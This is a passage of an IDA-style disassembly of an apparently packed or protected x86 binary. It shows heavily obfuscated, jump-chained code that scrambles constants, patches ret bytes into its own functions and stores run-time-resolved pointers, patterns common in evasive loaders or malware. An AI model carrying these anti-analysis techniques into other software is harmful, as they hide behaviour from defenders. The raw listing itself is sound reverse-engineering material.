; --------------------------------------------------------------------------- loc_43A57F: ; CODE XREF: y22d6.y.:0043ED00j mov eax, [ebp-4] push eax call sub_448E18 jmp loc_4449F0 ; =============== S U B R O U T I N E ======================================= sub_43A58D proc near ; CODE XREF: sub_444F37:loc_43A0F4p ; y22d6.y.:00445007j arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00437D3D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043BAB1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043C532 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043DC49 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0043F736 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0043FA17 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00444129 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00446303 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00447B1A SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00448BF2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00449AD0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044B5EA SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0044BF62 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044D67B SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx add eax, 331A4C51h xchg eax, [esp+0] jmp loc_448BF2 sub_43A58D endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_77. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_43A5A0: ; CODE XREF: y22d6.y.:0043D882j jmp loc_44218D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441DA7 loc_43A5A5: ; CODE XREF: sub_441DA7-6B5Aj jmp sub_439E63 ; END OF FUNCTION CHUNK FOR sub_441DA7 ; =============== S U B R O U T I N E ======================================= sub_43A5AA proc near ; DATA XREF: sub_449F1B+Co ; FUNCTION CHUNK AT 0043D75A SIZE 00000005 BYTES add edi, 0C8994B23h mov [edi], eax pop edi lea eax, nullsub_322 mov byte ptr [eax], 0C3h jmp loc_43D75A sub_43A5AA endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439932 loc_43A5C1: ; CODE XREF: sub_439932+Ej or ecx, ecx jz loc_438FCA call sub_4485B6 jnz loc_438FCA mov eax, ebx jmp loc_438FCC ; END OF FUNCTION CHUNK FOR sub_439932 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A8FD loc_43A5DB: ; CODE XREF: sub_44A8FD+4j push offset loc_439FFC jmp nullsub_307 ; END OF FUNCTION CHUNK FOR sub_44A8FD ; --------------------------------------------------------------------------- loc_43A5E5: ; CODE XREF: y22d6.y.:0044CEFCj jnz loc_4383DA and edx, eax js loc_4499EE cmp edx, esi jmp loc_43BE3F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44364E loc_43A5FA: ; CODE XREF: sub_44364E+16j and edx, 220F3818h test edx, 10000h jmp loc_44C069 ; END OF FUNCTION CHUNK FOR sub_44364E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43A60B: ; CODE XREF: sub_448EB6-28Cj not esi mov edi, [edx] and edx, eax jmp loc_44722C ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E48C loc_43A616: ; CODE XREF: sub_43E48C+Aj call sub_43BE66 push 165F15ACh xchg ecx, [esp+4+var_4] mov eax, ecx pop ecx rol eax, 14h xor eax, 0CEB1C35Dh or eax, 1A9C660Eh jmp loc_449AF2 ; END OF FUNCTION CHUNK FOR sub_43E48C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_129. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- call sub_439C3E ; START OF FUNCTION CHUNK FOR sub_44AEDA loc_43A640: ; CODE XREF: sub_44AEDA:loc_43CE99j mov ebx, eax call sub_43E77C loc_43A647: ; CODE XREF: sub_44997F+25F7j jmp nullsub_164 ; END OF FUNCTION CHUNK FOR sub_44AEDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4428C2 loc_43A64C: ; CODE XREF: sub_4428C2-7760j jmp loc_449BDE ; END OF FUNCTION CHUNK FOR sub_4428C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44633F loc_43A651: ; CODE XREF: sub_44633F-87F5j add edi, 7593D1B1h loc_43A657: ; CODE XREF: sub_44633F:loc_44BD7Fj xor eax, 0CDE8B035h call sub_43F7FF mov ds:off_41E014, eax jmp loc_4385C1 ; END OF FUNCTION CHUNK FOR sub_44633F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_200. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_43A66E: ; CODE XREF: y22d6.y.:004470D7j jmp loc_440DB5 ; --------------------------------------------------------------------------- loc_43A673: ; CODE XREF: y22d6.y.:00444F01j jmp loc_447CE5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B878 loc_43A678: ; CODE XREF: sub_43B878+11j jmp loc_443F38 ; END OF FUNCTION CHUNK FOR sub_43B878 ; --------------------------------------------------------------------------- loc_43A67D: ; CODE XREF: y22d6.y.:004372B7j and edi, 0D0C5765Ch test edi, 80000000h jmp loc_4405A2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44156E loc_43A68E: ; CODE XREF: sub_44156E+BCB7j and ecx, 1F64C8DFh or ecx, 0D7C06D66h rol ecx, 19h add ecx, 2854658h jmp loc_44B6A7 ; END OF FUNCTION CHUNK FOR sub_44156E ; --------------------------------------------------------------------------- adc edx, 9C73F6ABh jmp sub_43E31B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449ECF loc_43A6B3: ; CODE XREF: sub_449ECF:loc_44B4CBj mov byte ptr [eax], 0C3h jmp nullsub_12 ; END OF FUNCTION CHUNK FOR sub_449ECF ; --------------------------------------------------------------------------- call sub_44500E loc_43A6C0: ; CODE XREF: y22d6.y.:00439E27j jnz loc_44B732 jmp loc_43D887 ; --------------------------------------------------------------------------- loc_43A6CB: ; CODE XREF: y22d6.y.:loc_446FDFj jb loc_44E590 jmp loc_44C808 ; --------------------------------------------------------------------------- locret_43A6D6: ; CODE XREF: y22d6.y.:loc_43D15Aj retn ; --------------------------------------------------------------------------- db 3Ah dword_43A6D8 dd 1EB3EEA3h ; DATA XREF: sub_43E5C2:loc_438D8Cr ; sub_43E5C2:loc_4414D8r ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43872E loc_43A6DC: ; CODE XREF: sub_43872E+219Dj jmp loc_4371EE ; END OF FUNCTION CHUNK FOR sub_43872E ; =============== S U B R O U T I N E ======================================= sub_43A6E1 proc near ; CODE XREF: .text:loc_40E0DFp ; DATA XREF: r69pu5ti:off_41E190o ; FUNCTION CHUNK AT 00437AA1 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0043AC52 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043ACB5 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0043B0E3 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043BA03 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0043BE8A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043C255 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043DEF1 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0043FA2A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004408EA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004426C4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00442D4A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00442FD2 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 004430DE SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00445426 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00446DB1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00449460 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004497CE SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0044A4AA SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0044B109 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0044C6FE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044D58E SIZE 00000015 BYTES jo loc_437AA1 mov eax, ds:dword_442554 jmp loc_43BA03 sub_43A6E1 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_284. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B09B loc_43A6F3: ; CODE XREF: sub_43B09B+EEB6j jmp loc_43E259 ; END OF FUNCTION CHUNK FOR sub_43B09B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_446417 loc_43A6F8: ; CODE XREF: sub_446417+9j jmp sub_4483BF ; END OF FUNCTION CHUNK FOR sub_446417 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44066C loc_43A6FD: ; CODE XREF: sub_44066C+6j jmp loc_444939 ; END OF FUNCTION CHUNK FOR sub_44066C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4450FD loc_43A702: ; CODE XREF: sub_4450FD+1D61j sbb ebp, 428E5936h xchg edi, [ebx] sub esi, eax jmp loc_44591F ; END OF FUNCTION CHUNK FOR sub_4450FD ; --------------------------------------------------------------------------- locret_43A711: ; CODE XREF: y22d6.y.:0043FC82j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43910C loc_43A712: ; CODE XREF: sub_43910C+F7FBj jmp nullsub_202 ; END OF FUNCTION CHUNK FOR sub_43910C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C3DD loc_43A717: ; CODE XREF: sub_43C3DD+7C20j jmp nullsub_6 ; END OF FUNCTION CHUNK FOR sub_43C3DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44057E loc_43A71C: ; CODE XREF: sub_44057E:loc_43F731j jmp loc_44466F ; END OF FUNCTION CHUNK FOR sub_44057E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E14E loc_43A721: ; CODE XREF: sub_44E14E-1343Aj jmp loc_44D8E1 ; END OF FUNCTION CHUNK FOR sub_44E14E ; --------------------------------------------------------------------------- pop ecx jmp sub_440D9E ; --------------------------------------------------------------------------- test esi, ebp jmp loc_43FDAF ; --------------------------------------------------------------------------- loc_43A733: ; CODE XREF: y22d6.y.:0044BEBDj mov [esi], edi ; =============== S U B R O U T I N E ======================================= sub_43A735 proc near ; CODE XREF: sub_44BCC2-9F3Fp ; FUNCTION CHUNK AT 00438D59 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043D2A5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044AD27 SIZE 00000017 BYTES xchg edx, [esp+0] pop edx push 0 push 7CF3A38Eh pop eax rol eax, 5 jmp loc_438D59 sub_43A735 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B1D2 loc_43A749: ; CODE XREF: sub_44B1D2-10F1Cj test ebx, 21CB097Dh jmp loc_43B8F8 ; END OF FUNCTION CHUNK FOR sub_44B1D2 ; --------------------------------------------------------------------------- push 6C21D1E6h pop eax sub eax, 0E8E4928Dh add eax, 8E34B6F7h push offset sub_437B10 jmp loc_449072 ; --------------------------------------------------------------------------- loc_43A770: ; CODE XREF: y22d6.y.:00448620j and edi, 0A6D86B84h add edi, 7BEBE72Ah xchg edi, [esp] jmp loc_43AA1A ; --------------------------------------------------------------------------- js loc_43FB68 jmp sub_437712 ; --------------------------------------------------------------------------- loc_43A78F: ; CODE XREF: y22d6.y.:00446F4Ej jns loc_439D37 ; =============== S U B R O U T I N E ======================================= sub_43A795 proc near ; CODE XREF: y22d6.y.:00437624p xchg eax, [esp+0] pop eax call nullsub_313 jmp ds:dword_41E0D8 sub_43A795 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_313. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- or esi, 87000042h or al, 24h push ecx jmp loc_441C4D ; --------------------------------------------------------------------------- mov [edx], ecx mov ecx, [edi] jmp sub_437B43 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44057E loc_43A7BC: ; CODE XREF: sub_44057E:loc_43DCECj sub eax, 0AEE49C2Eh rol edx, 3 loc_43A7C5: ; CODE XREF: y22d6.y.:0043DCDAj xor eax, 162221BAh call sub_43CA1A mov ds:off_41E074, eax push offset loc_43DC3B jmp loc_442C87 ; END OF FUNCTION CHUNK FOR sub_44057E ; --------------------------------------------------------------------------- loc_43A7E0: ; CODE XREF: y22d6.y.:loc_4459B9j jz loc_447EBA jmp loc_44B6BF ; --------------------------------------------------------------------------- mov eax, 9E471775h call sub_43CA1A push offset loc_43B8AD jmp locret_440B35 ; --------------------------------------------------------------------------- loc_43A7FF: ; CODE XREF: y22d6.y.:loc_44B27Aj mov [ecx], eax pop ecx push offset sub_44617A jmp loc_44A9A8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439F5A loc_43A80C: ; CODE XREF: sub_439F5A:loc_43ADC8j push offset sub_4410E0 jmp loc_444CC4 ; END OF FUNCTION CHUNK FOR sub_439F5A ; --------------------------------------------------------------------------- loc_43A816: ; CODE XREF: y22d6.y.:0044A00Aj and edi, ebx and esi, ecx test edx, ebx jmp loc_441251 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_329. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- test edi, ecx jmp loc_43D53D ; --------------------------------------------------------------------------- mov eax, 4CF1C9EDh call sub_43CA1A push offset sub_4446B8 jmp loc_4451C2 ; --------------------------------------------------------------------------- loc_43A83D: ; CODE XREF: y22d6.y.:00439FF7j ; y22d6.y.:loc_445156j push eax lea eax, dword_44D0DC push esi mov esi, eax xchg esi, [esp] jmp loc_4403CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C3D7 loc_43A84F: ; CODE XREF: sub_43C3D7:loc_440B23j call sub_442E1F ; END OF FUNCTION CHUNK FOR sub_43C3D7 ; START OF FUNCTION CHUNK FOR sub_446222 loc_43A854: ; CODE XREF: sub_446222+6C30j jmp sub_4483BF ; END OF FUNCTION CHUNK FOR sub_446222 ; --------------------------------------------------------------------------- loc_43A859: ; CODE XREF: y22d6.y.:0043D926j jmp loc_438E98 ; --------------------------------------------------------------------------- loc_43A85E: ; CODE XREF: y22d6.y.:0043D0B0j jmp locret_43B538 ; --------------------------------------------------------------------------- loc_43A863: ; CODE XREF: y22d6.y.:0043980Ej jmp loc_44D900 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C1E2 loc_43A868: ; CODE XREF: sub_44C1E2-A440j call nullsub_2 pop ecx pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_44C1E2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- call sub_445C50 loc_43A877: ; CODE XREF: y22d6.y.:00441284j jmp loc_448DB8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D025 loc_43A87C: ; CODE XREF: sub_43D025-2F76j mov edx, [ebp+8] or [edx-8], eax ; END OF FUNCTION CHUNK FOR sub_43D025 ; START OF FUNCTION CHUNK FOR sub_43B98D loc_43A882: ; CODE XREF: sub_43D025-4E15j ; sub_43B98D+8j ... js loc_4481CB cmp dword ptr [ebp-14h], 4 jnz loc_444D67 mov eax, [ebp+8] or dword ptr [eax-8], 4 jmp loc_43BF51 ; END OF FUNCTION CHUNK FOR sub_43B98D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E0A9 loc_43A89E: ; CODE XREF: sub_43E0A9+Bj pop eax push offset loc_44865C jmp loc_439356 ; END OF FUNCTION CHUNK FOR sub_43E0A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440280 loc_43A8A9: ; CODE XREF: sub_440280+5E99j cmp edi, edx jmp loc_4479A0 ; END OF FUNCTION CHUNK FOR sub_440280 ; =============== S U B R O U T I N E ======================================= sub_43A8B0 proc near ; CODE XREF: sub_43872E-182p ; y22d6.y.:0044B246j ; FUNCTION CHUNK AT 0044A127 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx loc_43A8B4: ; CODE XREF: sub_441F08+9044j mov ds:off_41E208, eax lea eax, loc_443878 mov byte ptr [eax], 0C3h jmp loc_44A127 sub_43A8B0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43872E loc_43A8C8: ; CODE XREF: sub_43872E+B14Bj mov eax, [esp+0] jmp loc_43A6DC ; END OF FUNCTION CHUNK FOR sub_43872E ; --------------------------------------------------------------------------- or edi, 83B64EA1h jmp sub_44D063 ; --------------------------------------------------------------------------- pop edx mov eax, [esp] push edx call sub_441C69 push 2A4862B1h jmp loc_43D2BE ; =============== S U B R O U T I N E ======================================= sub_43A8EF proc near ; CODE XREF: y22d6.y.:004497C9j ; y22d6.y.:0044BB4Bp xchg edx, [esp+0] sub_43A8EF endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_43BEF7 loc_43A8F2: ; CODE XREF: sub_43BEF7:loc_43BF27j pop edx push edi mov edi, edx xchg edi, [esp+0] call sub_438F17 push 999739F7h jmp loc_43F585 ; END OF FUNCTION CHUNK FOR sub_43BEF7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BBBA loc_43A908: ; CODE XREF: sub_44BBBA-C16Dj push 0EE8E5C9Fh pop edx and edx, 0A12C6BC2h add edx, 807B92A1h jmp loc_445DA7 ; END OF FUNCTION CHUNK FOR sub_44BBBA ; --------------------------------------------------------------------------- loc_43A91F: ; DATA XREF: sub_43C1F5+Ao add edx, ebp add edx, 0BACD15F0h mov edx, [edx] cmp eax, [edx+18h] jnb loc_44506C jmp loc_446FDF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44DB4F loc_43A937: ; CODE XREF: sub_44DB4F:loc_441C99j lea eax, sub_43DA98 mov byte ptr [eax], 0C3h jmp sub_43DA98 ; END OF FUNCTION CHUNK FOR sub_44DB4F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4416F3 loc_43A945: ; CODE XREF: sub_4416F3:loc_44B36Bj push ecx push 0B8C2140Bh xchg edi, [esp+0] jmp loc_441D27 ; END OF FUNCTION CHUNK FOR sub_4416F3 ; --------------------------------------------------------------------------- mov edx, esi jmp loc_447890 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437B01 loc_43A95A: ; CODE XREF: sub_437B01:loc_437ACCj ja nullsub_281 adc eax, 1DFF3FCBh jmp loc_4397D9 ; END OF FUNCTION CHUNK FOR sub_437B01 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4416CB loc_43A96B: ; CODE XREF: sub_4416CB+1j jz loc_4492E9 mov eax, [esp-4+arg_0] push edi mov edi, edx xchg edi, [esp+0] push esi push 5AC41142h jmp loc_444031 ; END OF FUNCTION CHUNK FOR sub_4416CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E5C7 loc_43A985: ; CODE XREF: sub_44E5C7:loc_44207Bj shl ebp, 10h jmp loc_44A06B ; END OF FUNCTION CHUNK FOR sub_44E5C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D5BB loc_43A98D: ; CODE XREF: sub_43D5BB:loc_43C415j push 8B41E8E3h pop ebx add ebx, 47F27880h loc_43A999: ; CODE XREF: y22d6.y.:00448CA3j rol ebx, 0Dh cmp ebx, 3221FE3h jmp loc_44D898 ; END OF FUNCTION CHUNK FOR sub_43D5BB ; --------------------------------------------------------------------------- loc_43A9A7: ; CODE XREF: y22d6.y.:0044CA02j mov ds:off_41E184, eax lea eax, sub_44C59C mov byte ptr [eax], 0C3h jmp loc_4396F1 ; =============== S U B R O U T I N E ======================================= sub_43A9BB proc near ; CODE XREF: sub_40E1BC+40p ; sub_41935A+222p ... call sub_43A9C6 jmp ds:off_41E188 sub_43A9BB endp ; =============== S U B R O U T I N E ======================================= sub_43A9C6 proc near ; CODE XREF: sub_43910C-423j ; sub_43A9BBp ... arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 004376FD SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0043DDBB SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0043DEDD SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0043E841 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0043E9A1 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004409A5 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00441EBE SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0044A49E SIZE 00000005 BYTES pop edx jno loc_43E841 jmp loc_43DEDD sub_43A9C6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B98D loc_43A9D2: ; CODE XREF: sub_43B98D+1967j xor ecx, esi xor edi, 67DE5BA1h mov [eax], ebx cmp edi, ebx jmp loc_445B37 ; END OF FUNCTION CHUNK FOR sub_43B98D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_43A9E3: ; CODE XREF: sub_4432B8-476Bj jg loc_43B547 shr ebp, 0Bh jmp loc_44272A ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44CB3F loc_43A9F1: ; CODE XREF: sub_44CB3F:loc_441AE2j mov eax, [ebp-20h] ; END OF FUNCTION CHUNK FOR sub_44CB3F ; START OF FUNCTION CHUNK FOR sub_4481EF loc_43A9F4: ; CODE XREF: sub_4481EF:loc_44B062j push offset loc_44960E jmp loc_449EE2 ; END OF FUNCTION CHUNK FOR sub_4481EF ; =============== S U B R O U T I N E ======================================= sub_43A9FE proc near ; DATA XREF: sub_44D130+6o lea eax, nullsub_351 mov byte ptr [eax], 0C3h jmp nullsub_351 sub_43A9FE endp ; --------------------------------------------------------------------------- loc_43AA0C: ; CODE XREF: y22d6.y.:0043BEDEj mov eax, [esp] push edx call sub_442C0C call sub_44C194 loc_43AA1A: ; CODE XREF: y22d6.y.:0043A77Fj jmp sub_43EF0B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_43AA1F: ; CODE XREF: sub_44BCC2:loc_4396CFj add edx, ebp add edx, 84602067h loc_43AA27: ; CODE XREF: sub_449C1B+4882j mov edx, [edx] mov dl, [edx] jmp loc_43B3A1 ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; --------------------------------------------------------------------------- shr esi, 1Bh jmp sub_43A4E4 ; --------------------------------------------------------------------------- loc_43AA38: ; CODE XREF: y22d6.y.:loc_443792j sub ecx, 0B65BDA92h xor ecx, 3607B89Dh add ecx, 20420693h or ecx, 4C525DFBh jnz loc_44874F sbb ecx, edx jmp loc_443747 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E5C2 loc_43AA5D: ; CODE XREF: sub_43E5C2-5828j jz loc_44A6F0 jmp loc_441A4A ; END OF FUNCTION CHUNK FOR sub_43E5C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F3AD loc_43AA68: ; CODE XREF: sub_43F3AD-3234j jnz loc_44822F loc_43AA6E: ; CODE XREF: sub_4418AD+Dj jmp sub_4480DE ; END OF FUNCTION CHUNK FOR sub_43F3AD ; --------------------------------------------------------------------------- loc_43AA73: ; CODE XREF: y22d6.y.:00440CABj jmp loc_442D95 ; --------------------------------------------------------------------------- cdq jmp loc_44822B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A095 loc_43AA7E: ; CODE XREF: sub_44A095-2A70j mov [edi], eax pop edi jmp loc_43C721 ; END OF FUNCTION CHUNK FOR sub_44A095 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BBBA loc_43AA86: ; CODE XREF: sub_44BBBA:loc_44AB17j lea eax, [ebp-12Dh] push eax push eax push 1DC19FD5h jmp loc_44B9E8 ; END OF FUNCTION CHUNK FOR sub_44BBBA ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_283. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_43AA99: ; CODE XREF: y22d6.y.:0043A0EFj jmp loc_44A432 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439F5A loc_43AA9E: ; CODE XREF: sub_439F5A:loc_4380C3j add edx, ecx pop ecx add eax, edx mov eax, [eax] push ebx push 0FE861CECh jmp loc_440FA3 ; END OF FUNCTION CHUNK FOR sub_439F5A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B489 loc_43AAB0: ; CODE XREF: sub_44B489-93B7j mov eax, ebx or ebx, edi jmp loc_43DE35 ; END OF FUNCTION CHUNK FOR sub_44B489 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4384B4 loc_43AAB9: ; CODE XREF: sub_4384B4:loc_44A10Fj jge loc_443563 shr eax, 18h jmp loc_443561 ; END OF FUNCTION CHUNK FOR sub_4384B4 ; --------------------------------------------------------------------------- cmp esi, 2E153176h jmp loc_4433E9 ; --------------------------------------------------------------------------- or eax, eax loc_43AAD4: ; CODE XREF: y22d6.y.:loc_43FA2Fj jnz loc_4417E7 jmp loc_4383B5 ; --------------------------------------------------------------------------- loc_43AADF: ; DATA XREF: sub_44271A-A847o jnz loc_44AAF4 call sub_449BBC loc_43AAEA: ; CODE XREF: y22d6.y.:00439679j sbb edx, eax rol ebx, 0Bh popf and ebx, eax loc_43AAF2: ; CODE XREF: y22d6.y.:loc_43C742j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_44205D jmp loc_43D087 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E037 loc_43AB03: ; CODE XREF: sub_43E037:loc_44D25Dj sub al, 99h push 371373AAh pop edx rol edx, 8 add edx, 656D3462h add edx, ebp add edx, 871F2163h mov edx, [edx] jmp loc_43904C ; END OF FUNCTION CHUNK FOR sub_43E037 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43EFB1 loc_43AB23: ; CODE XREF: sub_43EFB1+1F91j dec dword ptr [ebp-1Ch] jnz loc_43DA85 jmp loc_43BF5B ; END OF FUNCTION CHUNK FOR sub_43EFB1 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43AB31 proc near ; CODE XREF: sub_4385ED+4p ; sub_43BEF7:loc_439F47p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004375FF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004435CC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00444FA9 SIZE 00000004 BYTES ; FUNCTION CHUNK AT 004452FC SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0044B844 SIZE 00000017 BYTES push ebp mov ebp, esp add esp, 0FFFFFFF4h mov [ebp+var_4], eax mov eax, [ebp+var_4] loc_43AB3D: ; CODE XREF: sub_43C7C1:loc_438706j mov [ebp+var_C], eax jmp loc_4452FC sub_43AB31 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43837F loc_43AB45: ; CODE XREF: sub_43837F:loc_43D011j cmp dword ptr [ebp-1Ch], 66h jnz loc_440105 mov eax, 6 sub eax, [ebp-0Ch] mov [ebp-0Ch], eax loc_43AB5A: ; CODE XREF: sub_43837F+15j ; sub_43837F:loc_438F50j ... mov eax, [ebp-20h] movzx eax, byte ptr [eax] jmp loc_44AEEB ; END OF FUNCTION CHUNK FOR sub_43837F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437FD8 loc_43AB65: ; CODE XREF: sub_437FD8+A3D1j jz loc_44DA1E loc_43AB6B: ; CODE XREF: sub_448A59-137j jmp loc_447274 ; END OF FUNCTION CHUNK FOR sub_437FD8 ; --------------------------------------------------------------------------- pop edx test edi, 0CA6638CDh jmp loc_4486E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D20E loc_43AB7C: ; CODE XREF: sub_43D20E:loc_44228Cj mov eax, [eax+64h] add eax, [ebp-14h] cmp eax, [ebp-0Ch] ja loc_437BDF loc_43AB8B: ; CODE XREF: sub_43D20E+B925j call sub_441C04 ; END OF FUNCTION CHUNK FOR sub_43D20E ; START OF FUNCTION CHUNK FOR sub_4410E0 loc_43AB90: ; CODE XREF: sub_4410E0:loc_4432ACj jmp loc_43E525 ; END OF FUNCTION CHUNK FOR sub_4410E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440626 loc_43AB95: ; CODE XREF: sub_440626+Dj jmp loc_44BFDA ; END OF FUNCTION CHUNK FOR sub_440626 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438B66 loc_43AB9A: ; CODE XREF: sub_438B66+F230j shr edi, 11h jno loc_43CA2B jmp loc_4491AE ; END OF FUNCTION CHUNK FOR sub_438B66 ; 